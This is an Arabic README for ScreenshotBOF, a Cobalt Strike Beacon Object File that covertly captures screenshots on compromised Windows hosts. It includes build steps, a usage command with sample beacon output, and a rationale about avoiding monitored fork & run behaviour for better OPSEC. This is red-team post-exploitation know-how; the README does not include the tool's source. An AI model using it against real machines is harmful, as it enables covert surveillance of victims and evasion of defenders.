ScreenshotBOF

إمكانية بديلة لالتقاط الشاشات لـ Cobalt Strike تستخدم WinAPI ولا تقوم بعملية fork & run. يتم تنزيل لقطة الشاشة في الذاكرة.

الميزات

• ضغط JPEG
• تنزيل في الذاكرة كصورة شاشة أو كملف
• يدعم التقاط النوافذ المصغرة
• تدرج رمادي، جودة JPEG وتصغير الحجم لتقليل حجم الملف

التحويل البرمجي الذاتي

1. git clone المستودع
2. قم بتشغيل make

طرق الحفظ:

0. إسقاط الملف على القرص
1. تنزيل الملف عبر beacon (Cobalt Strike فقط)
2. تنزيل الملف عبر beacon كصورة شاشة (Cobalt Strike فقط)

PID

0: التقاط الشاشة بأكملها (PID = 0) PID محدد: التقاط PID محدد (يعمل حتى عند التصغير!)

الاستخدام

1. استيراد النص البرمجي screenshotBOF.cna إلى Cobalt Strike
2. استخدم الأمر screenshot_bof {اسم الملف المحلي} {طريقة الحفظ 0/1/2} {pid/0} {تدرج رمادي 0/1} {الجودة 0-100} {القياس 0-100}
   • تشغيل screenshot_bof بدون وسائط سيعرض واجهة GUI مربع حوار

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

ملاحظات

• لا يتم إجراء أي إخفاء (evasion)، وهو أمر جيد لأن WinAPIs المستخدمة ليست خبيثة

لماذا صنعت هذا؟

يستخدم Cobalt Strike تقنية تُعرف باسم fork & run للعديد من إمكانياته بعد الاختراق، بما في ذلك أمر التقاط الشاشة. بينما يوفر هذا السلوك الاستقرار، إلا أنه أصبح معروفًا جيدًا ومراقبًا بشكل كبير. هذا BOF يهدف إلى توفير نسخة أكثر أمانًا من حيث OPSEC لقدرة التقاط الشاشة.

الإسناد

• حفظ BMP إلى ملف من https://stackoverflow.com/a/60667564
• تنزيل في الذاكرة من https://github.com/anthemtotheego/CredBandit
• @BinaryFaultline لعرض BMP (غير مدعوم) في aggressorscript، ووظيفة رد الاتصال للقطة الشاشة
• تحويل الصورة النقطية إلى JPEG من https://github.com/WKL-Sec/HiddenDesktop

إخلاء المسؤولية

إخلاء المسؤولية المعتاد هنا، لست مسؤولاً عن أي جرائم ضد الإنسانية قد ترتكبها أو حرب نووية قد تسببها باستخدام هذه القطعة من الكود السيئ الكتابة.